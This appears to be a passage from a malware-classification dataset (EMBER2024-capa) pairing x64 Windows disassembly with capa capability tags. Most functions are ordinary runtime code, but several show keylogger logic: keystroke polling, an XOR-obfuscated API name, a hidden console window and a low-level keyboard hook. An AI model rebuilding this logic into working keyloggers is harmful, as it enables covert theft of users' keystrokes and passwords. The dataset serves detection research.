joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10a4e98
Capabilities:
Get system information on windows

Disassembly:
push rbp
push r12
push r13
sub rsp, 0x90
lea rbp, [rsp + 0x20]
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], rdi
mov rax, qword [0x010c91a0]
xor rax, rbp
mov qword [rbp + 0x68], rax
mov eax, dword [rsp]
sub rsp, 0x10
lea r12, [rsp + 0x20]
mov eax, dword [r12]
lea rdx, [rbp + 8]
mov r8d, 0x30
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x10a4f9e
mov r13, qword [rbp + 0x10]
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rbp + 0x3c]
lea rcx, [rbp]
xor ebx, ebx
and dword [rbp], ebx
call qword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
cmp eax, 1
jne 0x10a4f26
mov eax, dword [rbp]
test eax, eax
cmovne ebx, eax
lea edx, [rdi - 1]
lea ecx, [rdx + rbx]
cmp ecx, ebx
jb 0x10a4f9e
mov eax, edx
not eax
and ecx, eax
je 0x10a4f41
lea eax, [rcx + rdi]
cmp eax, ecx
jb 0x10a4f9e
mov ecx, eax
lea eax, [rdi + rdi*2]
mov ebx, edx
cmp ecx, eax
not rbx
cmovb ecx, eax
and rbx, r12
lea rax, [r13 + rdi]
mov esi, ecx
sub rbx, rsi
cmp rbx, rax
jb 0x10a4f9e
mov r9d, 4
mov r8d, 0x1000
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x10a4f9e
lea r9, [rbp + 4]
mov r8d, 0x104
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10a4f9e
mov eax, 1
jmp 0x10a4fa0
xor eax, eax
mov rcx, qword [rbp + 0x68]
xor rcx, rbp
call fcn.010a3ca0
mov rbx, qword [rbp + 0x90]
mov rsi, qword [rbp + 0x98]
mov rdi, qword [rbp + 0xa0]
lea rsp, [rbp + 0x70]
pop r13
pop r12
pop rbp
ret

Function at 0x10a5a78
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov dword [rax + 0x18], r8d
push r12
sub rsp, 0x30
mov edi, r8d
mov ebx, edx
mov r12d, ecx
mov ecx, 8
call fcn.010aa330
nop
cmp dword [0x010cccbc], 1
je 0x10a5b2b
mov dword [0x010cccb8], 1
mov byte [0x010ccc74], dil
test ebx, ebx
jne 0x10a5b17
mov rcx, qword [0x010d85b0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov rcx, qword [0x010d85a8]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov qword [rsp + 0x20], rax
test rsi, rsi
je 0x10a5b04
sub rbx, 8
mov qword [rsp + 0x20], rbx
cmp rbx, rsi
jb 0x10a5b04
mov rcx, qword [rbx]
test rcx, rcx
je 0x10a5b02
call rcx
jmp 0x10a5aea
lea rdx, [0x01016550]
lea rcx, [0x01016538]
call fcn.010a58dc
lea rdx, [0x01016560]
lea rcx, [0x01016558]
call fcn.010a58dc
nop
test edi, edi
je 0x10a5b39
mov ecx, 8
call fcn.010aa1fc
test edi, edi
jne 0x10a5b61
mov dword [0x010cccbc], 1
lea ecx, [rdi + 8]
call fcn.010aa1fc
mov ecx, r12d
call fcn.010a5860
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r12
ret
xor r8d, r8d
xor edx, edx
jmp 0x10a5a78
Function at 0x10a5ba0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov dword [rax + 0x18], r8d
push r12
sub rsp, 0x30
mov edi, r8d
mov ebx, edx
mov r12d, ecx
mov ecx, 8
call fcn.010aa330
nop
cmp dword [0x010cccbc], 1
je 0x10a5b2b
mov dword [0x010cccb8], 1
mov byte [0x010ccc74], dil
test ebx, ebx
jne 0x10a5b17
mov rcx, qword [0x010d85b0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov rcx, qword [0x010d85a8]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov qword [rsp + 0x20], rax
test rsi, rsi
je 0x10a5b04
sub rbx, 8
mov qword [rsp + 0x20], rbx
cmp rbx, rsi
jb 0x10a5b04
mov rcx, qword [rbx]
test rcx, rcx
je 0x10a5b02
call rcx
jmp 0x10a5aea
lea rdx, [0x01016550]
lea rcx, [0x01016538]
call fcn.010a58dc
lea rdx, [0x01016560]
lea rcx, [0x01016558]
call fcn.010a58dc
nop
test edi, edi
je 0x10a5b39
mov ecx, 8
call fcn.010aa1fc
test edi, edi
jne 0x10a5b61
mov dword [0x010cccbc], 1
lea ecx, [rdi + 8]
call fcn.010aa1fc
mov ecx, r12d
call fcn.010a5860
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r12
ret
xor r8d, r8d
xor edx, edx
jmp 0x10a5a78

Function at 0x10a5bb0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x10a5a78
Function at 0x10a5c50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r13
sub rsp, 0x30
lea r13, [0x010c91c0]
mov ebx, ecx
xor edi, edi
mov rax, r13
cmp ecx, dword [rax]
je 0x10a5c83
add edi, 1
add rax, 0x10
cmp edi, 0x17
jb 0x10a5c73
cmp edi, 0x17
jae 0x10a5e31
mov ebp, 3
mov ecx, ebp
call fcn.010ac280
cmp eax, 1
je 0x10a5de9
mov ecx, ebp
call fcn.010ac280
test eax, eax
jne 0x10a5cb9
cmp dword [0x010c9198], 1
je 0x10a5de9
cmp ebx, 0xfc
je 0x10a5e31
lea rbx, [0x010cccc0]
mov ebp, 0x314
lea r8, [0x01016e80]
mov rcx, rbx
mov rdx, rbp
call fcn.010a9fc8
test eax, eax
je 0x10a5cfc
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.010a7e58
lea rdx, [0x010cccd9]
mov r8d, 0x104
xor ecx, ecx
mov byte [0x010ccddd], 0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10a5d4d
lea r8, [0x01016e68]
lea rcx, [0x010cccd9]
mov edx, 0x2fb
call fcn.010a9fc8
test eax, eax
je 0x10a5d4d
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.010a7e58
lea r8, [0x010cccd9]
mov rdx, rbp
mov rcx, rbx
call fcn.010ac1ec
test eax, eax
je 0x10a5d78
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.010a7e58
lea r8, [0x01016e60]
mov rdx, rbp
mov rcx, rbx
call fcn.010ac1ec
test eax, eax
je 0x10a5da3
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.010a7e58
movsxd r8, edi
mov rdx, rbp
mov rcx, rbx
add r8, r8
mov r8, qword [r13 + r8*8 + 8]
call fcn.010ac1ec
test eax, eax
je 0x10a5dd2
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.010a7e58
lea rdx, [0x01016e38]
mov r8d, 0x12010
mov rcx, rbx
call fcn.010abfb8
jmp 0x10a5e31
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x10a5e31
or rcx, 0xffffffffffffffff
cmp rax, rcx
je 0x10a5e31
movsxd rdx, edi
xor eax, eax
lea r9, [rsp + 0x48]
and qword [rsp + 0x20], rax
add rdx, rdx
mov rdx, qword [r13 + rdx*8 + 8]
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r13
ret

Function at 0x10a64d4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebx, ebx
cmp rax, rbx
mov rdi, rax
jne 0x10a64fc
xor eax, eax
jmp 0x10a6548
cmp word [rdi], bx
je 0x10a6513
add rax, 2
cmp word [rax], bx
jne 0x10a6501
add rax, 2
cmp word [rax], bx
jne 0x10a6501
sub eax, edi
add eax, 2
movsxd rbp, eax
mov rcx, rbp
call fcn.010a3cc8
cmp rax, rbx
mov rsi, rax
je 0x10a653c
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call fcn.010a9030
mov rbx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x10a6cc4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10a6d0e
cmp rcx, 0xffffffffffffffff
je 0x10a6d0e
cmp word [rcx], 0x5a4d
jne 0x10a6d06
cmp dword [rcx + 0x3c], edx
jl 0x10a6d06
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10a6d06
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10a6d0e
mov rax, rdx
add rsp, 0x18
ret

Function at 0x10a6ecb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x010c91a0]
jne 0x10a3cba
rol rcx, 0x10
test cx, 0xffff
jne 0x10a3cb6
repz ret
ror rcx, 0x10
jmp 0x10a6e24
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x010cd2a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x010cd398]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10a6ea9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x010cd2a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x10a6ecb
mov rax, qword [rsp + 0x88]
mov qword [0x010cd398], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x010cd338], rax
mov rax, qword [0x010cd398]
mov qword [0x010cd210], rax
mov rax, qword [rsp + 0x90]
mov qword [0x010cd320], rax
mov dword [0x010cd200], 0xc0000409
mov dword [0x010cd204], 1
mov rax, qword [0x010c91a0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x010c91a8]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x01016ea0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x10a7e58
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x10a7ec3
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
jmp 0x10a7ee3
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, [0x01016f30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add rsp, 0x530
pop rbx
ret
Function at 0x10abfb8
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov ebx, r8d
mov r12, rdx
mov r13, rcx
call fcn.010a684c
xor ebp, ebp
and dword [rsp + 0x88], ebp
and dword [rsp + 0x30], ebp
cmp qword [0x010cda28], rbp
mov rdi, rax
jne 0x10ac0eb
lea rcx, [0x01017098]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
mov rsi, rax
jne 0x10ac017
xor eax, eax
jmp 0x10ac1cb
lea rdx, [0x01017088]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x10ac010
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x01017078]
mov rcx, rsi
mov qword [0x010cda28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x01017060]
mov rcx, rsi
mov qword [0x010cda30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rcx, [rsp + 0x88]
mov qword [0x010cda38], rax
call fcn.010a5918
test eax, eax
je 0x10ac09e
and qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.010a7e58
cmp dword [rsp + 0x88], 2
jne 0x10ac0eb
lea rdx, [0x01017040]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
test rax, rax
mov qword [0x010cda48], rax
je 0x10ac0eb
lea rdx, [0x01017028]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x010cda40], rax
mov rcx, qword [0x010cda40]
cmp rcx, rdi
je 0x10ac17d
cmp qword [0x010cda48], rdi
je 0x10ac17d
call sub.KERNEL32.dll_DecodePointer
call rax
test rax, rax
mov rsi, rax
je 0x10ac148
mov rcx, qword [0x010cda48]
call sub.KERNEL32.dll_DecodePointer
lea rcx, [rsp + 0x34]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x38]
mov rcx, rsi
call rax
test eax, eax
je 0x10ac148
test byte [rsp + 0x40], 1
jne 0x10ac17d
lea rcx, [rsp + 0x30]
call fcn.010a5964
test eax, eax
je 0x10ac16a
and qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.010a7e58
cmp dword [rsp + 0x30], 4
jb 0x10ac177
bts ebx, 0x15
jmp 0x10ac1b1
bts ebx, 0x12
jmp 0x10ac1b1
mov rcx, qword [0x010cda30]
cmp rcx, rdi
je 0x10ac1b1
call sub.KERNEL32.dll_DecodePointer
call rax
test rax, rax
mov rbp, rax
je 0x10ac1b1
mov rcx, qword [0x010cda38]
cmp rcx, rdi
je 0x10ac1b1
call sub.KERNEL32.dll_DecodePointer
mov rcx, rbp
call rax
mov rbp, rax
mov rcx, qword [0x010cda28]
call sub.KERNEL32.dll_DecodePointer
mov r9d, ebx
mov r8, r12
mov rdx, r13
mov rcx, rbp
call rax
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x140029be4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d184
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d184
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029d34
cmp rax, 0xffffffffffffffff
je 0x140029d34
xor edi, edi
test rbp, rbp
jle 0x140029cdf
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fe04
mov rbx, rax
test rax, rax
jne 0x140029c6c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029cd5
mov edx, 0x8000
mov ecx, r14d
call fcn.14001ab20
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001de60
cmp eax, 0xffffffff
je 0x140029cb5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029c7c
mov edx, r15d
mov ecx, r14d
call fcn.14001ab20
jmp 0x140029cd5
cmp byte [rsi + 0x38], dil
je 0x140029ccc
cmp dword [rsi + 0x34], 5
jne 0x140029ccc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029cd5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b464
jmp 0x140029d48
jns 0x140029d48
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d184
cmp rax, 0xffffffffffffffff
jne 0x140029d00
cmp byte [rsi + 0x30], dil
je 0x140029d48
mov edi, dword [rsi + 0x2c]
jmp 0x140029d48
mov ecx, r14d
call fcn.140019658
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029d48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029d48
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029d41
mov eax, dword [rsi + 0x2c]
jmp 0x140029d46
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d184
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ae40
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ae68
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ae68
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140002958
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400029a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029a2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400029a4
xor al, al
add rsp, 0x28
ret
Function at 0x140001b10
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x30], rax
movsx ebx, cl
mov ecx, ebx
call fcn.140001460
test al, al
jne 0x140001ccb
lea eax, [rbx - 0x41]
cmp al, 0x19
ja 0x140001ccb
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x140001bd7
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
je 0x140001bd7
add bl, 0x20
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x20]
call fcn.140002c60
nop
lea rcx, [rsp + 0x20]
call fcn.140002ac0
movzx edx, bl
lea rcx, [rsp + 0x20]
call fcn.140003130
lea rcx, [rsp + 0x28]
call fcn.140003070
test rax, rax
jne 0x140001bd2
mov rax, qword [rsp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x20]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
jmp 0x140001cc1
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x140001c5e
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
test al, 1
jne 0x140001c5e
add bl, 0x20
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x20]
call fcn.140002c60
nop
lea rcx, [rsp + 0x20]
call fcn.140002ac0
movzx edx, bl
lea rcx, [rsp + 0x20]
call fcn.140003130
lea rcx, [rsp + 0x28]
call fcn.140003070
test rax, rax
jne 0x140001c5c
mov rax, qword [rsp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x20]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
jmp 0x140001cc1
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x20]
call fcn.140002c60
nop
lea rcx, [rsp + 0x20]
call fcn.140002ac0
movzx edx, bl
lea rcx, [rsp + 0x20]
call fcn.140003130
lea rcx, [rsp + 0x28]
call fcn.140003070
test rax, rax
jne 0x140001cc1
mov rax, qword [rsp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x20]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rsp + 0x20]
call fcn.1400013a0
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140003840
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rbp
ret
Function at 0x140001d50
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x98
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x88], rax
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ]
movzx eax, word [0x1400055a8]
mov word [rsp + 0x38], ax
movzx eax, byte [0x1400055aa]
movups xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x3a], al
movsd xmm0, qword [0x1400055a0]
movsd qword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [0x1400056a0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x80], 0x10
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x70]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140001de0
xor r9d, r9d
test rax, rax
je 0x140001e26
xor r10d, r10d
lea r8, [rsp + 0x70]
nop dword [rax]
xor edx, edx
lea r8, [r8 + 1]
cmp r10, 0x1a
cmovne rdx, r10
inc r9d
movzx ecx, byte [rsp + rdx + 0x20]
lea r10, [rdx + 1]
xor byte [r8 - 1], cl
movsxd rcx, r9d
cmp rcx, rax
jb 0x140001e00
lea rcx, str.User32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rdx, [0x140001cf0]
xor r8d, r8d
mov qword [0x140008958], rax
mov ecx, 0xd
call rax
xorps xmm0, xmm0
mov qword [0x140008950], rax
xor r9d, r9d
lea rcx, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001eb4
nop dword [rax]
mov rcx, qword [0x140008950]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor r9d, r9d
lea rcx, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001e90
xor eax, eax
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140003840
add rsp, 0x98
ret
Function at 0x140002260
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140002288
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400022ae
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400022b0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002309
test ecx, ecx
jle 0x1400022e9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002309
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002309
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140002330
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002352
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140002368
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002384
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002386
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400023c2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000245e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400023fd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
